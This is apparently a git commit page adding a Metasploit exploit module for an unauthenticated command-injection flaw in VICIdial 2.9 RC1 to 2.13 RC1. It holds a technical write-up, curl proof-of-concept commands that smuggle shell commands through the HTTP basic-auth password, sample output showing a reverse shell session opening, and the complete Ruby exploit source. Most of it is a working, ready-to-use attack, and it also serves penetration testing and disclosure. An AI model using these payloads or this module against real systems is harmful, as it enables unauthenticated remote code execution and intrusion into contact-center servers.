Land #8471, Add VICIdial user_authorization Unauthenticated Command Execution module
commit
6bb745744b
|
@ -0,0 +1,133 @@
|
|||
## Description
|
||||
|
||||
This module exploits a vulnerability in VICIdial versions 2.9 RC1 to 2.13 RC1 which allows unauthenticated users to execute arbitrary operating system commands as the web server user if password encryption is enabled (disabled by default).
|
||||
|
||||
When password encryption is enabled the user's password supplied using HTTP basic authentication is used in a call to `exec()`.
|
||||
|
||||
This module has been tested successfully on version 2.11 RC2 and 2.13 RC1 on CentOS.
|
||||
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
VICIDIAL is a software suite that is designed to interact with the Asterisk Open-Source PBX Phone system to act as a complete inbound/outbound contact center suite with inbound email support as well.
|
||||
|
||||
This module has been tested successfully on version 2.11 RC2 and 2.13 RC1 on CentOS.
|
||||
|
||||
Installers:
|
||||
|
||||
* [VICIdial 2.11 RC1](https://sourceforge.net/projects/astguiclient/files/astguiclient_2.11rc1.zip/download)
|
||||
* [VICIdial 2.13 RC1](https://sourceforge.net/projects/astguiclient/files/astguiclient_2.13rc1.zip/download)
|
||||
|
||||
Follow the [instructions to enabled password encryption](http://vicidial.org/docs/ENCRYPTED_PASSWORDS.txt).
|
||||
|
||||
|
||||
## Technical Details
|
||||
|
||||
The `functions.php` file defines a function called `user_authorization`:
|
||||
|
||||
```php
|
||||
function user_authorization($user,$pass,$user_option,$user_update)
|
||||
```
|
||||
|
||||
This function is used throughout the application to validate user logon credentials supplied using HTTP basic authentication. If password encryption is enabled the user's password is passed to the `pass` argument of the `bp.pl` Perl script, without quotes, using PHP's `exec()` function:
|
||||
|
||||
```php
|
||||
if ($SSpass_hash_enabled > 0)
|
||||
{
|
||||
if (file_exists("../agc/bp.pl"))
|
||||
{$pass_hash = exec("../agc/bp.pl --pass=$pass");}
|
||||
else
|
||||
{$pass_hash = exec("../../agc/bp.pl --pass=$pass");}
|
||||
```
|
||||
|
||||
A rudimentary blacklist is used to prevent command injection. The apostrophe `'`, quote `"`, semi-colon `;` and backslash `\` characters are removed from the user's username and password using `preg_replace`, like so:
|
||||
|
||||
```php
|
||||
$user = preg_replace("/\'|\"|\\\\|;/","",$user);
|
||||
$pass = preg_replace("/\'|\"|\\\\|;/","",$pass);
|
||||
```
|
||||
|
||||
It is trivial to bypass the blacklist.
|
||||
|
||||
For example, backticks ``` ` ```, pipe `|` or ampersand `&` are sufficient to bypass the blacklist and execute arbitrary operating system commands.
|
||||
|
||||
For the purposes of exploitation, reaching the `user_authorization` function call with malicious input is hindered by additional input validation in use prior to the authentication check throughout the majority of the codebase:
|
||||
|
||||
```php
|
||||
$PHP_AUTH_USER = preg_replace('/[^-_0-9a-zA-Z]/', '', $PHP_AUTH_USER);
|
||||
$PHP_AUTH_PW = preg_replace('/[^-_0-9a-zA-Z]/', '', $PHP_AUTH_PW);
|
||||
```
|
||||
|
||||
However, in VICIdial version 2.11RC2, at least two files did not make use of the additional validation:
|
||||
|
||||
* help.php
|
||||
* vicidial_sales_viewer.php
|
||||
|
||||
In VICIdial version 2.13RC1, at least one file did not make use of the additional validation:
|
||||
|
||||
* vicidial_sales_viewer.php
|
||||
|
||||
This vulnerability was patched in revision 2759.
|
||||
|
||||
|
||||
## Proof of Concept
|
||||
|
||||
```bash
|
||||
$ curl -isk "https://VICIdial.local/vicidial/vicidial_sales_viewer.php" \
|
||||
--user 'anyusername:anypassword& id>/tmp/pwned_by_sales_viewer #'
|
||||
```
|
||||
|
||||
```bash
|
||||
$ curl -isk "https://VICIdial.local/vicidial/help.php" \
|
||||
--user 'anyusername:anypassword& id>/tmp/pwned_by_help #'
|
||||
```
|
||||
|
||||
Note that `/tmp/pwned_by_help` and `/tmp/pwned_by_sales_viewer` files should contain the results of the `id` command.
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start `msfconsole`
|
||||
2. Do: `use exploit/unix/webapp/vicidial_user_authorization_unauth_cmd_exec`
|
||||
3. Do: `set rhost [IP]`
|
||||
4. Do: `run`
|
||||
5. You should get a session
|
||||
|
||||
|
||||
## Sample Output
|
||||
|
||||
```
|
||||
msf exploit(vicidial_user_authorization_unauth_cmd_exec) > check
|
||||
[*] 172.16.191.150:80 The target appears to be vulnerable.
|
||||
msf exploit(vicidial_user_authorization_unauth_cmd_exec) > run
|
||||
|
||||
[*] Started reverse TCP handler on 172.16.191.181:4444
|
||||
[*] 172.16.191.150:80 Sending payload (505 bytes)
|
||||
[+] 172.16.191.150:80 Payload sent successfully
|
||||
[*] Command shell session 1 opened (172.16.191.181:4444 -> 172.16.191.150:36660) at 2017-05-27 01:00:41 -0400
|
||||
|
||||
id
|
||||
uid=48(apache) gid=48(apache) groups=48(apache)
|
||||
```
|
||||
|
||||
|
||||
## Sample Output (Verbose)
|
||||
|
||||
```
|
||||
msf exploit(vicidial_user_authorization_unauth_cmd_exec) > set verbose true
|
||||
verbose => true
|
||||
msf exploit(vicidial_user_authorization_unauth_cmd_exec) > check
|
||||
|
||||
[*] 172.16.191.150:80 Password encryption is supported, but may not be enabled.
|
||||
[*] 172.16.191.150:80 The target appears to be vulnerable.
|
||||
msf exploit(vicidial_user_authorization_unauth_cmd_exec) > run
|
||||
|
||||
[*] Started reverse TCP handler on 172.16.191.181:4444
|
||||
[*] 172.16.191.150:80 Sending payload (505 bytes)
|
||||
[+] 172.16.191.150:80 Payload sent successfully
|
||||
[*] Command shell session 2 opened (172.16.191.181:4444 -> 172.16.191.150:36661) at 2017-05-27 01:00:48 -0400
|
||||
|
||||
id
|
||||
uid=48(apache) gid=48(apache) groups=48(apache)
|
||||
```
|
||||
|
|
@ -0,0 +1,112 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'VICIdial user_authorization Unauthenticated Command Execution',
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability in VICIdial versions
|
||||
2.9 RC 1 to 2.13 RC1 which allows unauthenticated users
|
||||
to execute arbitrary operating system commands as the web
|
||||
server user if password encryption is enabled (disabled
|
||||
by default).
|
||||
|
||||
When password encryption is enabled the user's password
|
||||
supplied using HTTP basic authentication is used in a call
|
||||
to exec().
|
||||
|
||||
This module has been tested successfully on version 2.11 RC2
|
||||
and 2.13 RC1 on CentOS.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => 'Brendan Coles <bcoles[at]gmail.com>',
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'http://www.vicidial.org/VICIDIALmantis/view.php?id=1016']
|
||||
],
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Payload' =>
|
||||
{
|
||||
# HTTP Basic authentication password
|
||||
'Space' => 2048,
|
||||
# apostrophe ('), quote ("), semi-colon (;) and backslash (\)
|
||||
# are removed by preg_replace
|
||||
'BadChars' => "\x00\x0A\x22\x27\x3B\x5C",
|
||||
'DisableNops' => true,
|
||||
'Compat' =>
|
||||
{
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'generic perl python netcat'
|
||||
}
|
||||
},
|
||||
'Targets' => [[ 'Automatic Targeting', {} ]],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => 'May 26 2017',
|
||||
'DefaultTarget' => 0))
|
||||
register_options([ OptString.new('TARGETURI', [true, 'The base path to VICIdial', '/vicidial/']) ])
|
||||
deregister_options('USERNAME', 'PASSWORD')
|
||||
end
|
||||
|
||||
def check
|
||||
user = rand_text_alpha(rand(10) + 5)
|
||||
pass = "#{rand_text_alpha(rand(10) + 5)}&#"
|
||||
res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'vicidial_sales_viewer.php'),
|
||||
'authorization' => basic_auth(user, pass)
|
||||
|
||||
unless res
|
||||
vprint_status 'Connection failed'
|
||||
return CheckCode::Unknown
|
||||
end
|
||||
|
||||
if res.code != 401
|
||||
vprint_status "#{peer} Unexpected reply. Expected authentication failure."
|
||||
return CheckCode::Safe
|
||||
end
|
||||
|
||||
# Check for input filtering of '#' and '&' characters in password
|
||||
# Response for invalid credentials is in the form of: |<username>|<password>|BAD|
|
||||
if res.body !~ /\|#{user}\|#{pass}\|BAD\|/
|
||||
vprint_status "#{peer} Target is patched."
|
||||
return CheckCode::Safe
|
||||
end
|
||||
|
||||
# Check for ../agc/bp.pl password encryption script
|
||||
res = send_request_cgi 'uri' => normalize_uri(target_uri.path, '..', 'agc', 'bp.pl')
|
||||
if res && res.code == 200 && res.body =~ /Bcrypt password hashing script/
|
||||
vprint_status "#{peer} Password encryption is supported, but may not be enabled."
|
||||
return CheckCode::Appears
|
||||
end
|
||||
|
||||
vprint_status "#{peer} Could not verify whether password encryption is supported."
|
||||
CheckCode::Detected
|
||||
end
|
||||
|
||||
def execute_command(cmd, opts = {})
|
||||
user = rand_text_alpha(rand(10) + 5)
|
||||
pass = "#{rand_text_alpha(rand(10) + 5)}& #{cmd} #"
|
||||
|
||||
print_status "#{peer} Sending payload (#{cmd.length} bytes)"
|
||||
res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'vicidial_sales_viewer.php'),
|
||||
'authorization' => basic_auth(user, pass)
|
||||
|
||||
if !res
|
||||
fail_with(Failure::Unreachable, 'Connection failed')
|
||||
elsif res.code == 401 && res.body =~ /#{user}/ && res.body =~ /BAD/
|
||||
print_good "#{peer} Payload sent successfully"
|
||||
else
|
||||
fail_with(Failure::UnexpectedReply, 'Unexpected reply')
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
execute_command(payload.encoded)
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue